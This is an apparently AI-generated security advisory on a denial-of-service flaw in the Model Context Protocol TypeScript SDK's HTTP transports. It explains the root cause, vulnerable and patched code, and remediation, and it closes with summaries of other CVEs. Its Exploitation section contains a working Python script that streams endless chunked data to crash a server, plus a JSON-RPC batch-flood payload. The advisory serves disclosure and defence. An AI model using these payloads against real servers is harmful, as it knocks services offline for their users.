CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-F897-62HF-6GXQ

GHSA-f897-62hf-6gxq: Unbounded Request Body and JSON-RPC Batch DoS in Model Context Protocol TypeScript SDK

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 28, 2026·11 min read·1 visit

Executive Summary (TL;DR)

Unbounded HTTP request body buffering and unrestricted JSON-RPC batch array lengths in the MCP TypeScript SDK allow remote unauthenticated attackers to cause Denial of Service via memory exhaustion or Node.js event loop starvation.

The Model Context Protocol (MCP) TypeScript SDK contains an uncontrolled resource consumption vulnerability in its HTTP server transport implementations and middleware adapters. Affected versions fail to enforce upper bounds on incoming HTTP POST request body sizes and JSON-RPC 2.0 batch array lengths. In addition, middleware wrappers for Express and Hono parse request bodies into memory prior to validating Host and Origin headers. Unauthenticated remote attackers can exploit these flaws to trigger Out-Of-Memory (OOM) process crashes or monopolize the single-threaded Node.js event loop.

Vulnerability Overview

The Model Context Protocol (MCP) TypeScript SDK provides server and client implementations for integrating large language models with external data sources and tools. While local MCP deployments commonly communicate over standard input/output (stdio), remote and multi-tenant MCP servers rely on HTTP transports—specifically WebStandardStreamableHTTPServerTransport, Node.js HTTP handlers (toNodeHandler, createMcpHandler), and framework middleware adapters for Express and Hono. These HTTP endpoints expose a network-accessible attack surface that accepts JSON-RPC 2.0 messages via HTTP POST requests.

Tracked under GHSA-f897-62hf-6gxq, affected versions of the SDK fail to restrict resource allocation along three distinct vectors in the HTTP request handling pipeline (classified under CWE-400: Uncontrolled Resource Consumption and CWE-770: Allocation of Resources Without Limits or Throttling). First, the server transports read incoming HTTP request streams into memory without enforcing a maximum byte limit. Second, the JSON-RPC message dispatcher accepts batch arrays ([...]) of arbitrary length without bounding the number of sub-requests processed per HTTP call. Third, framework middleware wrappers register JSON body parsers before executing Host and Origin header validation checks.

Because Node.js operates on a single-threaded event loop with a fixed V8 heap ceiling (typically 1.4 GB to 4 GB depending on runtime architecture), these omissions expose MCP HTTP servers to remote Denial of Service (DoS). An unauthenticated attacker with network access to the MCP endpoint can transmit an oversized HTTP stream to exhaust the V8 heap and crash the process, or send a compact JSON array containing tens of thousands of minimal JSON-RPC requests to block the event loop and starve legitimate client connections.

Root Cause Analysis

The primary root cause of the memory exhaustion vector lies in how WebStandardStreamableHTTPServerTransport and the Node.js request adapter (toWebRequest) buffered incoming HTTP POST streams. In WebStandardStreamableHTTPServerTransport.handleRequest, the server parsed incoming payloads by invoking await req.json() directly on the Fetch API Request object. Similarly, the Node.js adapter iterated over the incoming http.IncomingMessage stream (for await (const chunk of req)) and concatenated decoded string chunks into a single variable without tracking cumulative byte length. When a client transmitted a continuous byte stream using Transfer-Encoding: chunked or a large Content-Length, the runtime buffered the entire stream in memory prior to JSON parsing, allowing a single request to exceed the V8 heap limit.

The second root cause stems from compliant but unthrottled support for the JSON-RPC 2.0 batch specification. In JSON-RPC 2.0, a client can submit an array of request objects in a single HTTP payload, and the server must validate and dispatch each element. Prior to the fix, WebStandardStreamableHTTPServerTransport checked whether the parsed JSON payload was an array (Array.isArray(rawMessage)) and iterated through every element to perform schema validation and handler execution. Because a valid JSON-RPC request object requires fewer than 40 bytes (e.g., {"jsonrpc":"2.0","method":"ping","id":1}), an attacker could pack over 100,000 requests into a single 4 MiB payload. Processing, validating, and allocating response objects for 100,000 messages synchronously monopolizes the Node.js event loop.

The third flaw involves middleware execution ordering in the @modelcontextprotocol/express (createMcpExpressApp) and @modelcontextprotocol/hono (createMcpHonoApp) packages. Both helper functions registered body parsing middleware (express.json() in Express) at the top of the middleware stack before mounting hostHeaderValidation and originValidation middlewares. Consequently, when an unauthenticated cross-origin or invalid-host request arrived at the server, the framework read and parsed the entire request body into memory before the security middleware could inspect the headers and reject the request with an HTTP 403 Forbidden status.

Code Analysis

The vulnerability was remediated across the v2 modular branch in commit 7b781ed4e25355a25d15974f3c76de81299694ed (PR #2698) and backported to the v1 monolithic branch in commit a9f6eb709b85459d01e8f2a9e881fef2621756c1 (PR #2717). The patches introduce explicit bounds for both stream reading and batch array lengths, alongside middleware reordering.

Before the patch, WebStandardStreamableHTTPServerTransport parsed the request body directly and processed arrays of any length:

// Vulnerable code prior to commit 7b781ed4e25355a25d15974f3c76de81299694ed
let rawMessage: unknown;
try {
    // Reads entire stream into memory without size bounds
    rawMessage = await req.json();
} catch (error) {
    return this.createJsonErrorResponse(400, -32700, 'Parse error: Invalid JSON');
}
 
let messages: JSONRPCMessage[];
if (Array.isArray(rawMessage)) {
    // No check on rawMessage.length before mapping and validating
    messages = rawMessage.map(msg => JSONRPCMessageSchema.parse(msg));
} else {
    messages = [JSONRPCMessageSchema.parse(rawMessage)];
}

To address the unbounded stream read, the patch introduces a dedicated helper module (requestBody.ts) defining DEFAULT_MAX_REQUEST_BODY_SIZE (4 MiB) and MAX_BATCH_SIZE (100 messages). The readRequestBody function inspects both the declared Content-Length header and the actual byte count read from the ReadableStreamDefaultReader:

// Patched implementation in requestBody.ts
export const DEFAULT_MAX_REQUEST_BODY_SIZE = 4 * 1024 * 1024; // 4 MiB
export const MAX_BATCH_SIZE = 100;
 
export async function readRequestBody(
    request: Request,
    maxBytes: number = DEFAULT_MAX_REQUEST_BODY_SIZE
): Promise<{ tooLarge: true } | { tooLarge: false; text: string }> {
    // Fast-fail if Content-Length exceeds limit
    if (Number(request.headers.get('content-length')) > maxBytes) {
        return { tooLarge: true };
    }
    if (request.body === null) {
        return { tooLarge: false, text: '' };
    }
    const reader = request.body.getReader();
    const decoder = new TextDecoder();
    let received = 0;
    let text = '';
    try {
        for (;;) {
            const { done, value } = await reader.read();
            if (done) {
                break;
            }
            received += value.byteLength;
            // Enforce hard cap on streamed chunk byte accumulation
            if (received > maxBytes) {
                return { tooLarge: true };
            }
            text += decoder.decode(value, { stream: true });
        }
    } finally {
        reader.releaseLock();
    }
    return { tooLarge: false, text: text + decoder.decode() };
}

In WebStandardStreamableHTTPServerTransport.handleRequest, the transport now invokes readRequestBody and verifies that batch arrays do not exceed MAX_BATCH_SIZE before performing schema validation:

// Patched handler logic in WebStandardStreamableHTTPServerTransport
const body = await readRequestBody(req, this._maxRequestBodySize);
if (body.tooLarge) {
    const message = requestBodyTooLargeMessage(this._maxRequestBodySize);
    this.onerror?.(new Error(message));
    return this.createJsonErrorResponse(413, -32000, message);
}
rawMessage = JSON.parse(body.text);
 
if (Array.isArray(rawMessage) && rawMessage.length > MAX_BATCH_SIZE) {
    this.onerror?.(new Error(`Invalid Request: Batch must not exceed ${MAX_BATCH_SIZE} messages`));
    return this.createJsonErrorResponse(400, -32600, `Invalid Request: Batch must not exceed ${MAX_BATCH_SIZE} messages`);
}

Additionally, in packages/middleware/express/src/express.ts (and the equivalent Hono wrapper), the middleware registration order was inverted so that header validation occurs prior to reading the request stream:

// Patched middleware ordering in packages/middleware/express/src/express.ts
const app = express();
 
// Security header validation executes before reading the request body
if (allowedHosts) {
    app.use(hostHeaderValidation(allowedHosts));
}
if (allowedOrigins) {
    app.use(originValidation(allowedOrigins));
}
 
// Body parsing only runs for requests that pass Host and Origin checks
app.use(express.json(jsonLimit ? { limit: jsonLimit } : undefined));

> [!NOTE] > Assessment of Fix Completeness: The patch effectively neutralizes both the single-stream OOM condition and single-request batch amplification. In readRequestBody, calling reader.releaseLock() in the finally block without explicitly calling await reader.cancel() when received > maxBytes relies on the underlying HTTP server adapter to close or discard the unconsumed socket stream upon returning the HTTP 413 response. Furthermore, while individual request bodies are capped at 4 MiB, operators running public-facing MCP servers must still enforce concurrent connection limits and rate limiting at the reverse proxy layer to prevent distributed memory exhaustion across hundreds of simultaneous 3.9 MiB connections.

Exploitation

Exploitation requires network access to an MCP server configured with an HTTP transport (such as StreamableHTTPServerTransport) and no upstream proxy enforcing strict payload size limits or pre-authentication. Because the vulnerability exists in the low-level transport and middleware layers, no valid MCP session state or protocol initialization handshake is required to trigger the resource exhaustion.

Attack Vector 1: Chunked Transfer-Encoding Memory Exhaustion

By utilizing Transfer-Encoding: chunked, an attacker avoids declaring a Content-Length header (which some upstream proxies inspect by default) and streams continuous blocks of data into the MCP server's buffer until the V8 engine terminates the process with an out-of-memory error.

import socket
import ssl
 
target_host = "target-mcp-server.example.com"
target_port = 443
 
context = ssl.create_default_context()
with socket.create_connection((target_host, target_port)) as sock:
    with context.wrap_socket(sock, server_hostname=target_host) as ssock:
        request_headers = (
            f"POST /mcp HTTP/1.1\r\n"
            f"Host: {target_host}\r\n"
            f"Content-Type: application/json\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"Connection: keep-alive\r\n\r\n"
        )
        ssock.sendall(request_headers.encode("utf-8"))
        
        # Stream 1 MiB chunks continuously without closing the JSON object
        chunk_size = 1024 * 1024
        chunk_data = b" " * chunk_size
        chunk_header = f"{chunk_size:X}\r\n".encode("utf-8")
        
        while True:
            ssock.sendall(chunk_header + chunk_data + b"\r\n")

On an unpatched server, memory consumption climbs steadily until the Node.js process crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. On a patched server, once cumulative bytes exceed 4,194,304 bytes (4 MiB), the server immediately terminates stream reading and responds with HTTP 413 Payload Too Large and JSON-RPC error code -32000.

Attack Vector 2: JSON-RPC Batch Amplification

Even if an upstream reverse proxy (such as Nginx with a default client_max_body_size of 1 MiB to 4 MiB) blocks large request bodies, an attacker can exploit the unbounded batch length by sending a compact JSON array containing thousands of minimal JSON-RPC requests:

[
  {"jsonrpc": "2.0", "method": "ping", "id": 1},
  {"jsonrpc": "2.0", "method": "ping", "id": 2},
  {"jsonrpc": "2.0", "method": "ping", "id": 50000}
]

A batch of 50,000 ping objects measures approximately 2.1 MB, bypassing standard 4 MiB body limits. When an unpatched server receives this payload, it parses the JSON and runs Zod schema validation (JSONRPCMessageSchema.parse) 50,000 times sequentially on the main thread, blocking the Node.js event loop and causing health checks and concurrent client connections to time out. Patched servers reject any array with length > 100 immediately after JSON.parse, returning HTTP 400 Bad Request with JSON-RPC error code -32600 (Invalid Request: Batch must not exceed 100 messages).

Impact Assessment

The vulnerability is rated High severity with a CVSS v3.1 base score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The attack vector is Network (AV:N) with Low attack complexity (AC:L), requiring neither privileges (PR:N) nor user interaction (UI:N). While confidentiality (C:N) and integrity (I:N) are unaffected, the availability impact is High (A:H).

In production deployments, a single unauthenticated client can terminate the Node.js server process via an OOM crash. Because MCP servers frequently maintain stateful in-memory session context, active tool execution pipelines, and persistent Server-Sent Events (SSE) or streamable HTTP connections for multiple connected LLM clients, a process crash forcefully disconnects all active sessions and aborts in-flight tool executions.

Deployments that use the stdio transport exclusively (such as local desktop client integrations where the host application spawns the MCP server as a child process over standard input/output) do not expose the vulnerable HTTP transport code paths and are not impacted by GHSA-f897-62hf-6gxq.

Remediation

Development teams and system administrators using the Model Context Protocol TypeScript SDK over HTTP transports must upgrade their dependencies to the patched versions immediately.

Package Upgrades

For projects using the v1.x monolithic package (@modelcontextprotocol/sdk), upgrade to version 1.30.1 or later:

npm install @modelcontextprotocol/sdk@>=1.30.1

For projects using the v2.x modular packages, upgrade all installed HTTP and server packages to their respective fixed releases:

npm install @modelcontextprotocol/server@>=2.1.0
npm install @modelcontextprotocol/node@>=2.1.0
npm install @modelcontextprotocol/hono@>=2.0.1

Defense-in-Depth and Workarounds

When immediate package upgrades are not feasible, administrators should enforce request size limits and access controls at the reverse proxy or API gateway layer:

  1. Configure Reverse Proxy Body Limits: Restrict the maximum allowed HTTP request body size at the ingress proxy. In Nginx, set client_max_body_size 4M; within the server or location block fronting the MCP endpoint. Note that reverse proxies inspect raw HTTP body size and Content-Length, which mitigates the OOM crash vector (Vector 1) but does not stop JSON-RPC batch amplification (Vector 2) unless the body limit is set very low (e.g., 16k).
  2. Enforce Upstream Authentication: Place remote MCP HTTP servers behind an authentication proxy, mutual TLS (mTLS), or VPN so that unauthenticated network clients cannot submit HTTP POST requests directly to the Node.js runtime.
  3. Configure Process Supervision: Ensure the Node.js runtime is managed by a process supervisor (such as systemd, PM2, or Kubernetes liveness/readiness probes with restart policies) and configured with explicit --max-old-space-size flags to ensure rapid recovery if memory exhaustion occurs.

Official Patches

Model Context ProtocolPatch Pull Request for v2.x branch (#2698)
Model Context ProtocolPatch Pull Request for v1.x branch (#2717)
Model Context ProtocolRelease @modelcontextprotocol/sdk 1.30.1
Model Context ProtocolRelease @modelcontextprotocol/server@2.1.0
Model Context ProtocolRelease @modelcontextprotocol/node@2.1.0
Model Context ProtocolRelease @modelcontextprotocol/hono@2.0.1

Fix Analysis (2)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected Systems

@modelcontextprotocol/sdk@modelcontextprotocol/server@modelcontextprotocol/node@modelcontextprotocol/hono@modelcontextprotocol/express

Affected Versions Detail

Product
Affected Versions
Fixed Version
@modelcontextprotocol/sdk
modelcontextprotocol
>= 1.10.0, < 1.30.11.30.1
@modelcontextprotocol/server
modelcontextprotocol
= 2.0.02.1.0
@modelcontextprotocol/node
modelcontextprotocol
= 2.0.02.1.0
@modelcontextprotocol/hono
modelcontextprotocol
= 2.0.02.0.1
AttributeDetail
Advisory IDGHSA-f897-62hf-6gxq
Weakness ClassCWE-400 (Uncontrolled Resource Consumption) / CWE-770
Attack VectorNetwork (HTTP POST over Streamable HTTP / Express / Hono / Node)
CVSS v3.1 Score7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Primary ImpactDenial of Service (V8 Heap OOM Crash & Event Loop Starvation)
Default Limits Added4 MiB Max Request Body Size / 100 Max JSON-RPC Batch Length
Exploit StatusPoC (Reproduced via unit tests and HTTP streaming scripts)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
T1499.004Service Exhaustion
Impact
CWE-400
Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Vulnerability Timeline

Fix commits 7b781ed4e25355a25d15974f3c76de81299694ed (v2.x) and a9f6eb709b85459d01e8f2a9e881fef2621756c1 (v1.x) authored and merged.
2026-08-25
GitHub Security Advisory GHSA-f897-62hf-6gxq published.
2026-10-27

References & Sources

  • [1]GitHub Security Advisory: GHSA-f897-62hf-6gxq
  • [2]Repository Security Advisory: GHSA-f897-62hf-6gxq
  • [3]Model Context Protocol TypeScript SDK Repository
  • [4]Pull Request #2698 (v2.x Patch)
  • [5]Pull Request #2717 (v1.x Patch)
  • [6]Patch Commit 7b781ed4e25355a25d15974f3c76de81299694ed (v2.x)
  • [7]Patch Commit a9f6eb709b85459d01e8f2a9e881fef2621756c1 (v1.x)
  • [8]Release 1.30.1
  • [9]Release @modelcontextprotocol/server@2.1.0
  • [10]Release @modelcontextprotocol/node@2.1.0
  • [11]Release @modelcontextprotocol/hono@2.0.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•CVE-2026-87029
5.9

CVE-2026-87029: Remote Denial of Service via Uncaught Exception in Node.js Undici Decompress Interceptor

An uncaught exception vulnerability (CWE-248) exists in the Node.js HTTP/1.1 client library undici, affecting versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1. The flaw resides in the DecompressHandler interceptor (lib/interceptor/decompress.js), which processes compressed HTTP response streams using asynchronous Node.js zlib callbacks. When forwarding decompressed data chunks or stream completion events to downstream handlers, the interceptor fails to wrap the invocations of super.onResponseData() and super.onResponseEnd() in try...catch blocks. If a downstream interceptor or handler throws an exception during response processing—such as the built-in dump interceptor enforcing a maximum response size—the exception escapes the asynchronous zlib callback stack onto the top-level Node.js event loop, terminating the entire client process.

Alon Barad
Alon Barad
2 views•10 min read
•about 4 hours ago•CVE-2026-109932
5.9

CVE-2026-109932: Unbounded Memory Consumption via WebSocket PING Frame Flood in Node.js undici

An uncontrolled resource consumption vulnerability in the WebSocket client implementation of Node.js undici allows a remote WebSocket server to trigger an out-of-memory (OOM) crash in the client process. The vulnerability stems from the failure of the incoming frame parser (ByteParser) to respect socket write backpressure when automatically emitting PONG responses to incoming PING control frames. By continuously streaming small 2-byte PING frames while refusing to read from the TCP connection, a malicious server forces the client to queue outbound PONG frames in the V8 heap without bound.

Alon Barad
Alon Barad
2 views•10 min read
•about 5 hours ago•CVE-2026-87018
7.5

CVE-2026-87018: Denial of Service via TLS 1.2 Renegotiation in Node.js Undici

CVE-2026-87018 (GHSA-qrxm-fqhp-jwvm) is a high-severity Denial of Service (DoS) vulnerability in undici, the default HTTP/1.1 and HTTP/2 client for Node.js that backs the global fetch() implementation. The flaw stems from reachable assertions in undici's socket and session error handlers, which assume that TLS hostname verification errors (ERR_TLS_CERT_ALTNAME_INVALID) cannot occur after the initial connection establishment. By initiating a post-handshake TLS 1.2 renegotiation and presenting a certificate with a mismatched Subject Alternative Name (SAN), a remote HTTPS server can trigger this assertion and terminate the entire Node.js runtime process via an uncaught AssertionError.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 6 hours ago•CVE-2026-116682
8.6

CVE-2026-116682: Arbitrary File Read via Improper Symlink Resolution in FileBrowser Quantum

FileBrowser Quantum prior to versions 1.5.2-stable and 2.0.1-beta contains an improper link resolution vulnerability (CWE-59) in its file indexing and retrieval subsystems. When processing file read, download, preview, media streaming, OnlyOffice integration, or public share requests, the application resolves symbolic links via Go's filepath.EvalSymlinks without verifying that the canonical target path remains within the configured source root and the user's assigned access scope. Consequently, authenticated users with read access or unauthenticated holders of public share links can read arbitrary server-accessible files outside their designated directory boundaries.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 7 hours ago•CVE-2026-116676
8.8

CVE-2026-116676: OS Command Injection via Terraform Workspace Parameter in Atlantis

CVE-2026-116676 (GHSA-rjh2-4xgw-p2hj) is an OS command injection vulnerability (CWE-78) in Atlantis, an open-source Go application that automates Terraform pull request workflows via webhooks. From version 0.4.0 prior to version 0.47.1, Atlantis constructed Terraform and Conftest commands by joining argument slices into a single space-separated string and passing them to a shell interpreter (`sh -c`). Because user-controlled workspace names from `atlantis.yaml`, pull request comments, HCL configurations, and API requests were insufficiently validated against shell metacharacters, an authenticated contributor eligible to trigger a Terraform plan can execute arbitrary commands under the Atlantis service account.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 8 hours ago•CVE-2026-116679
5.4

CVE-2026-116679: Incorrect Authorization in m1k1o/neko Legacy WebRTC Input Handler

CVE-2026-116679 (GHSA-5cp7-fp4j-wwcv) is an incorrect authorization vulnerability (CWE-863) in m1k1o/neko, a self-hosted virtual browser running inside Docker via WebRTC. In versions from 3.0.0 prior to 3.1.5, a boolean logic inversion in the LegacyIsHost() method within server/internal/session/session.go causes the server to unconditionally grant host input privileges over the legacy WebRTC data channel when implicit hosting is enabled. Authenticated non-privileged room members can exploit this flaw to bypass room control locks and profile restrictions, allowing unauthorized injection of mouse and keyboard events into the shared virtual browser session.

Amit Schendel
Amit Schendel
3 views•8 min read